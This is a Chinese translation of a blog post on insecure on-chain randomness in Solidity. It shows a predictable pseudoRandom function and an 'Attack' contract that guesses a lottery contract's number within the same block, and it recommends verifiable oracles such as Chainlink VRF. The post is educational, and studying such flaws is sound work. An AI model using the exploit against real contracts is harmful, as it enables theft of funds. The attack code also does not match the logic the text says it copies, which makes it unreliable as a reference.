本文介绍了在Solidity中生成随机数的常见需求和挑战,解释了为什么直接使用链上数据(如block.timestamp和blockhash)是不安全的,并通过一个具体的漏洞合约示例展示了攻击者如何利用这些弱点。最后,文章强调了使用可验证的随机数预言机(如Chainlink VRF)的重要性,以确保智能合约应用的公平性和安全性。
随机数在以太坊区块链上的许多类型的智能合约和去中心化应用(dApp)中起着至关重要的作用。常见的用例包括:
🚫 绝对不是。
Solidity依赖于确定性值,如
block.timestamp
和blockhash
,这些值可以被预测或操纵。
在Solidity中,我们经常需要随机数来进行游戏或抽奖等操作,但在区块链上安全地创建随机数是很棘手的,因为区块链的行为是公开的和确定性的,这意味着每个人都必须得到相同的结果。以下是一个简单的解释:
你可以将一些变量(如区块时间戳、发送者地址和一个计数器)组合起来,然后使用keccak256
对其进行哈希处理,以获得一个“随机”数。例如:
function pseudoRandom(Params memory params) public view returns (uint256) {
uint256 entropy = uint256(keccak256(abi.encodePacked(
block.timestamp,
msg.sender,
blockhash(block.number - 1),
params.penguinId,
params.salt
)));
return entropy % 100;
}
block.timestamp
的可预测性:block.timestamp
是由挖掘该区块的矿工设置的值。矿工有一定的自由(在一定范围内)来更改时间戳。这意味着他们可以影响或预测随机种子。
像params.penguinId
和params.salt
这样的输入通常是已知的,或者可以被攻击者推断出来,特别是如果salt
是公开的或由用户设置的。将已知的输入与block.timestamp
结合起来并不能引入足够的不确定性。
虽然keccak256
是一个安全的哈希函数,但对可预测的输入使用它并不能产生真正随机的数字——如果种子是可预测的,那么只能生成伪随机和容易猜测的值。
GuessTheRandomNumber
背后的缺陷逻辑注意:本帖中提供的代码示例取自官方Solidity by Example网站,仅用于教育目的。
下面是一个简单的攻击者合约,它复制了用于计算有漏洞的GuessTheRandomNumber
合约中“随机”数的相同逻辑。部署后,此合约可以在同一区块中使用正确的数字调用guess()
函数——有效地保证了胜利。
由于在交易期间可以访问block.timestamp
和blockhash(block.number - 1)
,因此这里没有真正的随机性。攻击者可以复制结果并拿走ETH。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Attack {
address payable public target;
uint256 public nonce;
constructor(address payable _target) {
target = _target;
}
function attack() public payable {
uint256 answer = uint256(blockhash(block.number - 1));
(bool success, ) = target.call{ value: msg.value }(
abi.encodeWithSignature("guess(uint8)", uint8(answer))
);
require(success, "Attack failed");
nonce++;
}
// Helper function to receive ETH
receive() external payable {}
}
注意:本帖中提供的代码示例取自官方Solidity by Example网站,仅用于教育目的。
如果你想更深入地研究或亲自尝试利用,请在GitHub上查看此漏洞的完整Foundry测试脚本。该测试演示了如何逐步执行攻击,使你可以轻松地跟随、学习或调整该方法以进行自己的研究。
top10-smartcontract-vulnerabilities/01-insecure-randomness at main ·…
block.timestamp
、block.number
、blockhash
或block.difficulty
作为随机性来源。
- 原文链接: blog.blockmagnates.com/p...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!